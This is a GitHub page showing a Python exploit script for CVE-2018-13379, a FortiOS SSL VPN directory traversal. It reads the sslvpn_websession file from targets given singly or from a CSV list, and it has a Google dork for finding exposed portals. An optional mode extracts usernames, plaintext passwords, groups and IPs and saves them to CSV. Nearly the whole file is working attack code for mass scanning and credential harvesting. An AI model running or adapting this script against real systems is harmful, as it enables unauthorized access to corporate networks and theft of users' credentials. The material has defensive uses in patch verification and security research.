forked from RedcentricCyber/Fortigate
-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathfortigate.py
227 lines (206 loc) · 8.82 KB
/
fortigate.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
# Script Title: FortiVPN CVE-2018-13379 Vulnerability
# Exploit Title: FortiOS Leak file - Reading login/passwords in clear text.
# Google Dork: intext:"Please Login" inurl:"/remote/login"
# Date: 17/08/2019
# Original Exploit Author: Carlos E. Vieira
# Updated Script Author: Adonis Sardiñas
# Details: This exploit allow change users password from SSLVPN web portal
# Vendor Homepage: https://www.fortinet.com/
# Software Link: https://www.fortinet.com/products/fortigate/fortios.html
# Version: This vulnerability affect ( FortiOS 5.6.3 to 5.6.7 and FortiOS 6.0.0 to 6.0.4 ).
# Tested on: 5.6.6
# NVD: https://nvd.nist.gov/vuln/detail/CVE-2018-13379
# CVE : CVE-2018-13379
# Extract Useful info (credentials!) from SSL VPN Directory Traversal Vulnerability (FG-IR-18-384)
# Credits: 7Elements, John M (@x41x41x41), David S (@DavidStubley)
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# # # # # Rescoures and External Link
# # # # # Fortinet PSIRT: https://www.fortiguard.com/psirt/FG-IR-18-384
# # # # # Exploit DB: https://www.exploit-db.com/exploits/47287
# # # # # Fortinet Blog: https://www.fortinet.com/blog/business-and-technology/update-regarding-cve-2018-13379
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#!/usr/bin/python3
import argparse, urllib.request, ssl, csv, string, socket, re
from IPy import IP
import OpenSSL.crypto as crypto
def exploit(target):
target = target.strip()
try:
url = 'https://'+str(target)+'/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'
req = urllib.request.urlopen(url, None, context=NOSSL, timeout=10)
result = req.read()
if req.code == int(200) and str('var fgt_lang =') in str(result):
subjectCN = getSubjectCN(target)
print('[!] '+str(target)+' ('+subjectCN+') appears to be vulnerable ('+str(len(result))+') bytes returned')
DEVICES.append([str(target), str(subjectCN), ('Vulnerable')])
if args.credscan == 'y':
parse(target, result, subjectCN)
else:
subjectCN = getSubjectCN(target)
print('[!] '+str(target)+' does not appear to be vulnerable')
DEVICES.append([str(target), str(subjectCN), ('Patched')])
except urllib.error.HTTPError as e:
subjectCN = getSubjectCN(target)
print('[!] '+str(target)+' does not appear to be vulnerable ('+str(e.code)+', +'+str(e.reason)+')')
DEVICES.append([str(target), str(subjectCN), ('Patched')])
except urllib.error.URLError as e:
print('[!] '+str(target)+' seems to be invalid)')
DEVICES.append([str(target), ('Invalid Target'), ('Invalid Target')])
except TimeoutError:
print('[!] '+str(target)+' Timed Out')
except:
print('[!] '+str(target)+' unhandled error :(')
def parse(target, process, subjectCN):
comp = bytearray()
empty = bytearray()
counter = 0
foundcount = 0
for byte in process:
if byte == 0x00:
# Throw these out
counter = counter + 1
continue
if empty == comp:
comp.append(byte)
else:
comp.append(byte)
comp = comp[-2:]
if comp == LOOKFOR or comp == LOOKFORTWO:
grabuser(target, process, counter, subjectCN)
foundcount = foundcount + 1
counter= counter + 1
if foundcount == 0:
containsIP(process, target)
# Commented out not needed, but could come in useful for debugging
# Remove Comments if Debugging is required.
#print(getBinarytext(process,0,len(process)))
#writeBinary(process, target)
def getSubjectCN(url):
try:
if ':' in url:
urlsplit = url.split(':')
print(urlsplit)
dst = (urlsplit[0],int(urlsplit[1]))
else:
dst = (url,443)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
s.connect(dst)
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
s = ctx.wrap_socket(s, server_hostname=dst[0])
cert_bin = s.getpeercert(True)
x509 = crypto.load_certificate(crypto.FILETYPE_ASN1,cert_bin)
return x509.get_subject().CN
except:
return '[?] SSL NAME Grab Error Proberbly Timed Out'
def grabuser(target, process, frombyte, subjectCN):
extip = grabtext(process,frombyte+1)
if isIP(extip):
username = grabtext(process,frombyte+37)
password = grabtext(process,frombyte+423)
group = grabtext(process,frombyte+552)
print('[!] '+str(target)+' ('+subjectCN+') USERFOUND U:'+str(username)+', P:'+str(password)+', G:'+str(group)+', IP:'+str(extip))
# Prob not the best way to do this but it works...
RESULTS.append([str(target), str(subjectCN), str(username), str(password), str(group), str(extip)])
#else:
# print('[?] False Positive: '+extip)
def grabtext(process,startbyte):
tmpstr = ''
for byte in process[startbyte:]:
if byte in PRINTABLE:
tmpstr+=chr(byte)
else:
break
return tmpstr
def writeBinary(process,target):
f = open('byteoutput_'+target+'.bin', "wb")
f.write(bytearray(process))
def getBinarytext(process,startbyte,endbyte):
text = ''
try:
unprintable = False
for byte in process[startbyte:endbyte]:
if byte in PRINTABLE:
text = text + chr(byte)
unprintable = False
else:
if unprintable == False:
text = text + '...'
unprintable = True
except Exception as e:
print('[!] '+str(e))
return text
def isIP(lookup):
try:
IP(lookup)
return True
except:
print('here')
return False
def containsIP(process, target):
# Hacky IPv4 check to see if we missed creds whilst egg hunting, if we did spit out the BIN for analysis
# hexdump -C byteoutput_TARGET.bin | more
m = re.match(r"((?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?\.){3}(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)))",getBinarytext(process,0,len(process)))
if m:
print('[?] '+str(target)+' IPs found but no creds, check the bytes used to hunt')
writeBinary(process, target)
print(""" ___ ___ ___ _____ ___ ___ _ _____ ___
| __/ _ \\| _ \\_ _|_ _/ __| /_\\_ _| __|
| _| (_) | / | | | | (_ |/ _ \\| | | _|
|_| \\___/|_|_\\ |_| |___\\___/_/ \\_\\_| |___|
""")
print("FortiVPN Vulnerability Scanner version 2020.12.03")
print("Extract Useful info (credentials!) from SSL VPN Directory Traversal Vulnerability (FG-IR-18-384)")
print("Tool developed by @x41x41x41 and @DavidStubley")
print("Enahanced and Tweaked by @SysEgineer")
print()
# Parse arguments
parser = argparse.ArgumentParser()
parser.add_argument('-i', '--input', default=None, help='Target URL or Domain')
parser.add_argument('-f', '--filename', default='iplist.csv', help='List of Target URL or Domain')
parser.add_argument('-o', '--output', default='output', help='File to output discovered credentials too')
parser.add_argument('-c', '--credscan', default='n', help='Execute Credential Pull y/n With great power comes great ')
args = parser.parse_args()
# Setup varibles
OUTPUTFILE = args.output
CREDSCAN = args.credscan
PRINTABLE = set(bytes(string.printable, 'ascii'))
RESULTS = []
DEVICES = []
NOSSL = ssl.create_default_context()
NOSSL.check_hostname = False
NOSSL.verify_mode = ssl.CERT_NONE
#LOOKFOR = bytearray([0x5d,0x01])
LOOKFOR = bytearray(b'^\x01')
#LOOKFORTWO = bytearray([0x5c,0x01])
LOOKFORTWO = bytearray(b'_\x01')
# Read args and kickoff processing
if args.input is None:
with open(args.filename, 'r') as f:
reader = csv.reader(f)
next(reader)
for lines in reader:
TRGLIST = lines[0]
exploit(TRGLIST)
else:
INPUT = args.input
exploit(INPUT)
# Output results
count = 0
with open(OUTPUTFILE+"USERS.csv" , 'a', newline='') as csvfile:
CSV_WRITER = csv.writer(csvfile, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL)
CSV_WRITER.writerow([str('Target'), str('SubjectCN'), str('Username'), str('Password'), str('Group'), str('External IP')])
for result in RESULTS:
CSV_WRITER.writerow(result)
count=count+1
print('[*] Finished '+str(count)+' credentials found')
count = 0
with open(OUTPUTFILE+"Targets.csv" , 'a', newline='') as csvfile:
CSV_WRITER = csv.writer(csvfile, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL)
CSV_WRITER.writerow([str('Target'), str('SubjectCN'), str('Status')])
for device in DEVICES:
CSV_WRITER.writerow(device)
count=count+1
print('[*] Finished '+str(count)+' Targets Found')